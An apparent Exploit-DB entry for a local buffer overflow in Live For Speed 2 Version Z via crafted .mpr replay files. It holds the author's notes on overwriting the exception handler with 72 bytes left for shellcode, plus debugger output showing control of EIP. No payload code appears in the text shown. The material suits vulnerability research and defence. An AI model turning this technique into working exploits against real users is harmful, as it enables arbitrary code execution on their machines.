Exploit-DB #9142
Description: Live For Speed 2 Version Z - '.Mpr' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-07-14
Author: n00b

Exploit:
/*
Live For Speed 2 Version Z .Mpr Local buffer Overflow Exploit !!

X version .mpr header specifications can be found at
http://www.lfs.net/?page=MPR

Version :Patch Z and all previous versions.
Vendor :http://www.lfs.net/
Release date: July 14th 2009

Patch for this vulnerability can be found here 
Version Z15 lfs2.exe .

--Test Patch--
http://www.lfsforum.net/showthread.php?t=59326
--Test patch--

As you guys already know i had released 3 exploits for
the lfs2 application a while ago.They where fixed by the
developers and im sure they had checked all the vulnerable
functions in there code after i pointed out there was issues.

By supplying a few bytes (0xEF 0xEF 0xEF) we can then manipulate 
the the registers taking full control over the application.

I decided to take another look into the file format and glean
what information i could from this.And was manually testing
lfs2 by hand then bam a heap overflow occurred.

At first execution of shell code was going to be tricky
but i figured out a nice and easy way of gaining execution
of Shellcode even being restricted by the shell code length.
After we overwrote the exception handler we would only
have 72bytes left for our shell code.

Special thanks to str0ke and aluigi for the heads up 
on compatibility issue between demo version vs full. 
Now will work for both full version and demo versions 
of lfs2.

Long live milw0rm:)

Credits to n00b for finding the bug and exploiting this
vulnerability.

-------------------------------------------
\=========================================/
     ..Debug information collected ..
/=========================================\
-------------------------------------------

  .........................................
--Convert unsigned integer to large integer--
  .........................................


0:004> g

b38.9a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.

This exception may be expected and handled.
eax=153c3852 ebx=0012fb54 ecx=000000c4 edx=00000003 esi=153c353f edi=00130000
eip=00540923 esp=0012f980 ebp=0012f988 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
*** WARNING: Unable to verify checksum
for C:\Documents and Settings\noob\Desktop\Lfs2\LFS.exe
*** ERROR: Module load completed but symbols could not be loaded
for C:\Documents and Settings\noob\Desktop\Lfs2\LFS.exe

LFS+0x140923:
00540923 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

0:000> !exploitable -v
HostMachine\HostUser
Executing Processor Architecture is x86
Debuggee is in User Mode
Debuggee is a live user mode debugging session on the local machine
Event Type: Exception
Exception Faulting Address: 0x130000
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
Exception Sub-Type: Write Access Violation

Exception Hash (Major/Minor): 0x177c6043.0x3306303e

Stack Trace:
LFS+0x140923
LFS+0x13c431
LFS+0x13c3bc
LFS+0x4e9b6
Unknown
Unknown
Unknown
LFS+0x4e7900
Unknown
Unknown
Unknown
Unknown
LFS+0x1efb76
Unknown
Unknown
Instruction Address: 0x540923

Description: User Mode Write AV
Short Description: WriteAV
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at LFS+0x140923

---Note--
I knew it would be exploitable just wanted to check to see how
!exploitable would report this issue.
And i have to give it a Thumbs up for reporting this as exploitable.
Below confirms this after we have found the correct offsets inside
the mpr file and malnipulated them.
--Note--

0:000> g
(b38.9a0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=42424242 edx=7c9037d8 esi=00000000 edi=00000000
eip=42424242 esp=0012f5b0 ebp=0012f5d0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
42424242 ??              ???

0:000> kb
ChildEBP RetAddr  Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
0012f5ac 7c9037bf 0012f698 0012ffb0 0012f6b4 0x42424242
0012f5d0 7c90378b 0012f698 0012ffb0 0012f6b4 ntdll!RtlConvertUlongToLargeInteger+0x7a
0012f680 7c90eafa 00[PII_REDACTED]f6b4 0012f698 ntdll!RtlConvertUlongToLargeInteger+0x46
0012f988 0053c431 0012fb54 153c3093 000007bf ntdll!KiUserExceptionDispatcher+0xe
0012f9ac 0053c3bc ffffffff 00000001 ffffffff LFS+0x13c431
0012f9cc 0044e9b6 0012fb54 00000001 ffffffff LFS+0x13c3bc
0012fd40 2780a[PII_REDACTED]0 5259ab00 fc8a74ff LFS+0x4e9b6

FAULTING_IP:
+42424242
42424242 ??              ???

EXCEPTION_RECORD:  000007bf -- (.exr 0x7bf)
Cannot read Exception record @ 000007bf

FAULTING_THREAD:  000009a0
PROCESS_NAME:  LFS.exe
MODULE_NAME: LFS

FAULTING_MODULE: 7c900000 ntdll
DEBUG_FLR_IMAGE_TIMESTAMP:  486b6f3b
ERROR_CODE: (NTSTATUS) 0xc0000005 -
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 -
EXCEPTION_PARAMETER1:  00000000
EXCEPTION_PARAMETER2:  42424242
READ_ADDRESS:  42424242

FOLLOWUP_IP:
LFS+18a89
00418a89 d8cb            fmul    st,st(3)

FAILED_INSTRUCTION_ADDRESS:
+42424242
42424242 ??              ???

IP_ON_HEAP:  42424242
IP_IN_FREE_BLOCK: 42424242

CONTEXT:  153c3093 -- (.cxr 0x153c3093)
Unable to get program counter
eax=02660271 ebx=43298274 ecx=00004e4d edx=0000a804 esi=22613000 edi=4196573e
eip=232b1919 esp=15008221 ebp=028a0289 iopl=0         nv up di pl nz na pe cy
cs=190f  ss=fe1b  ds=84ec  es=012e  fs=84ee  gs=0f95             efl=46040005
190f:1919 ??              ???
Resetting default scope

DEFAULT_BUCKET_ID:  WRONG_SYMBOLS
PRIMARY_PROBLEM_CLASS:  WRONG_SYMBOLS
BUGCHECK_STR:  APPLICATION_FAULT_WRONG_SYMBOLS_BAD_INSTRUCTION_PTR
LAST_CONTROL_TRANSFER:  from 00418a89 to 232b1919